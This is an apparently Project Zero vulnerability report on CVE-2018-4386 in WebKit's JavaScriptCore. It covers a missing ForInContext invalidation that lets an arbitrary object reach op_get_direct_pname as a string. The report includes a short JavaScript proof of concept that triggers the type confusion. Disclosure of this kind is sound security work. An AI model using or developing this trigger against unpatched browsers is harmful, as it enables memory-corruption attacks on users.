WebKit JSC ForInContext Invalidation

`WebKit: JSC: BytecodeGenerator::hoistSloppyModeFunctionIfNecessary doesn't invalidate the ForInContext object.   
  
CVE-2018-4386  
  
  
This is simillar to <a href="/p/project-zero/issues/detail?id=1263" title="WebKit: JSC: Incorrect optimization in BytecodeGenerator::emitGetByVal" class="closed_ref" rel="nofollow"> issue 1263 </a>. When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding ForInContext object, but it doesn't. As a result, an arbitrary object can be passed as the property variable to the op_get_direct_pname handler which uses the property variable directly as a string object without any check.  
  
PoC:  
function trigger() {  
let o = {a: 1};  
for (var k in o) {  
{  
k = 0x1234;  
  
function k() {  
  
}  
}  
  
o[k];  
}  
}  
  
trigger();  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`